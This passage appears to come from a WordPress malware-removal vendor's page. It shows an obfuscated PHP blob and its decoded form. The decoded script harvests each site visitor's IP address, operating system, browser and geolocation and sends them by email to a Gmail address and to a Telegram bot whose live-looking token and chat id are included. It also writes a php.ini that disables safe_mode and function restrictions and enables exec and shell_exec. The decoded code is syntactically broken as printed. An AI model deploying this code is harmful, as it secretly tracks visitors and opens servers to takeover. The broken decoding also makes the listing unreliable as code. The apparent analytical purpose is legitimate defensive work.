\x30\x4b\x4a\x48\x4a\154\x59\x32\126\160\x64\x6d\x56\x79\121\127\x52\153\x63\155\126\172\143\171\101\71\111\103\112\x72\131\127\x78\160\x65\x44\102\x34\131\127\x78\x70\x61\x30\x42\156\x62\127\x46\160\x62\x43\x35\x6a\x62\x32\60\x69\x4f\x77\60\113\112\x46\x52\120\123\x30\x56\x4f\111\x44\60\x67\x49\x6a\125\171\x4e\152\x67\x30\x4d\x44\105\x35\117\124\115\x36\x51\125\106\x46\x4d\126\x41\x30\131\x7a\x56\121\123\x47\x56\x53\x51\x31\122\x48\x59\x32\x45\x77\x54\105\164\x61\123\126\144\66\142\123\x31\x35\145\126\x6c\154\x4d\x31\154\x6a\x51\x7a\x51\151\117\x77\60\x4b\112\105\116\111\x51\126\x52\146\x53\125\121\x67\x50\123\101\x69\x4d\124\x67\65\x4e\x6a\x51\62\x4e\x44\111\65\x4e\x53\111\x37\x44\x51\157\x6b\x63\x33\126\x69\x61\155\126\152\144\x43\x41\147\x50\123\101\x69\x38\x4a\53\x53\x6c\153\65\x6c\144\x2f\x43\146\153\x61\122\x62\x54\123\x39\x54\x58\146\103\146\153\x61\122\x38\x38\x4a\53\x4d\153\105\x5a\171\x4d\x47\x30\66\111\151\64\153\123\x56\102\x55\127\151\x34\x69\x38\x4a\53\x53\154\151\111\67\104\x51\160\x74\x59\x57\154\x73\113\x43\122\x79\x5a\x57\x4e\154\x61\x58\132\x6c\143\153\106\153\132\x48\x4a\154\x63\63\x4d\163\x4a\110\116\61\131\155\x70\154\x59\x33\121\163\x4a\107\61\x6c\143\x33\116\150\x5a\x32\x55\x70\117\x77\x30\113\x5a\x6d\154\163\x5a\126\x39\156\x5a\x58\x52\x66\131\x32\71\165\144\x47\x56\165\x64\110\115\x6f\x49\x6d\x68\60\x64\x48\102\172\117\151\x38\x76\x59\x58\102\160\x4c\x6e\122\154\x62\107\126\156\x63\x6d\x46\x74\114\x6d\71\x79\132\171\x39\151\x62\63\x51\x69\114\x69\122\125\124\60\x74\106\x54\151\64\151\x4c\63\116\154\x62\155\x52\116\x5a\130\x4e\x7a\x59\127\x64\154\x50\62\116\x6f\x59\130\x52\146\x61\127\121\71\111\151\64\x6b\x51\60\x68\102\x56\x46\71\112\122\x43\64\x69\x4a\156\122\154\145\x48\x51\x39\111\151\101\x75\x49\110\x56\x79\142\x47\x56\165\x59\62\x39\x6b\132\123\x67\153\142\127\126\172\143\62\106\x6e\x5a\123\153\165\x49\x69\x49\147\113\x54\x73")); goto WsjGP; wO_9_: ?>

Decoded(de-Obfuscated) php code

<?php

error_reporting(0);
eval {
    function XB_OS($USER_AGENT)
    {
        $OS_ERROR = "Unknown OS Platform";
        $OS = array('/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile');
        foreach ($OS as $regex => $value) {
            if (preg_match($regex, $USER_AGENT)) {
                $OS_ERROR = $value;
            }
        }
        return $OS_ERROR;
    }
    function XB_Browser($USER_AGENT)
    {
        $BROWSER_ERROR = "Unknown Browser";
        $BROWSER = array('/msie/i' => 'Internet Explorer', '/firefox/i' => 'Firefox', '/safari/i' => 'Safari', '/chrome/i' => 'Chrome', '/edge/i' => 'Edge', '/opera/i' => 'Opera', '/netscape/i' => 'Netscape', '/maxthon/i' => 'Maxthon', '/konqueror/i' => 'Konqueror', '/mobile/i' => 'Handheld Browser');
        foreach ($BROWSER as $regex => $value) {
            if (preg_match($regex, $USER_AGENT)) {
                $BROWSER_ERROR = $value;
            }
        }
        return $BROWSER_ERROR;
    }
    date_default_timezone_set('GMT');
    $date = date("d M, Y");
    $time = date("g:i a");
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $s_path = "http://" . $_SERVER['SERVER_NAME'];
    $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
    $IPTZ = getenv("REMOTE_ADDR");
    $COUNTRYTZ = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip={$IPTZ}");
    $COUNTRY = $COUNTRYTZ->geoplugin_countryName;
    $CITY = $COUNTRYTZ->geoplugin_city;
    $REGION = $COUNTRYTZ->geoplugin_region;
    $C_CODE = $COUNTRYTZ->geoplugin_contrycode;
    $Timezone = $COUNTRYTZ->geoplugin_timezone;
    $Symbol = $COUNTRYTZ->geoplugin_currencysymbol;
    $message = "|---+[NEW【👨‍💻】M/S]+---|\n";
    $message = "|---+[NEW【👨‍💻】M/S]+---|\n[+]━━━━【👤】━━━━[+]\n";
    $message .= "【🏠】IP\t: " . $IPTZ . "\n";
    $message .= "【📟】System : " . XB_OS($_SERVER['HTTP_USER_AGENT']) . "\n";
    $message .= "【🌌】Browser : " . XB_Browser($_SERVER['HTTP_USER_AGENT']) . "\n";
    $message .= "【✨】User Agent : " . $useragent . "\n";
    $message .= "[+]━━━━【🕵️】━━━━[+]\n";
    $message .= "【🌐】Time Zone : " . $Timezone . "\n";
    $message .= "【🌐】Country : " . $COUNTRY . "\n";
    $message .= "【🌐】Region : " . $REGION . "\n";
    $message .= "【🌐】City : " . $CITY . "\n";
    $message .= "[+]━━━━【💻】━━━━[+]\n";
    $message .= "【👁】Host : " . $s_path . "\n";
    $message .= "【👀】File : " . $x_path . "\n";
    $message .= "[+]━━━━【⏳】━━━━[+]\n";
    $message .= "【⌚️】Time\t: " . $time . "\n";
    $message .= "【📅】Date\t: " . $date . "\n";
    $message .= "[+]━━━━【🔍】━━━━[+]\n";
    $message .= "【📡】Track IP : https://www.ip-tracker.org/lookup.php?ip=" . $IPTZ . "\n";
    $message .= "|===+[💖BC.DR💖]+===|\n";
    $receiverAddress = "kalix0xalik@gmail.com";
    $TOKEN = "5268401993:AAE1P4c5PHeRCTGca0LKZIWzm-yyYe3YcC4";
    $CHAT_ID = "1896464295";
    $subject = "💖New👤[M/S]👤|🌐Fr0m:" . $IPTZ . "💖";
    mail($receiverAddress, $subject, $message);
    file_get_contents("https://api.telegram.org/bot5268401993:AAE1P4c5PHeRCTGca0LKZIWzm-yyYe3YcC4/sendMessage?chat_id=1896464295&text=" . urlencode($message) . "");
};
$phpini = "safe_mode = Off\ndisable_functions = NONE\nsafe_mode_gid = OFF\nopen_basedir = OFF\nexec = ON \nshell_exec = ON";
fwrite(fopen("php.ini", "w"), $phpini);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.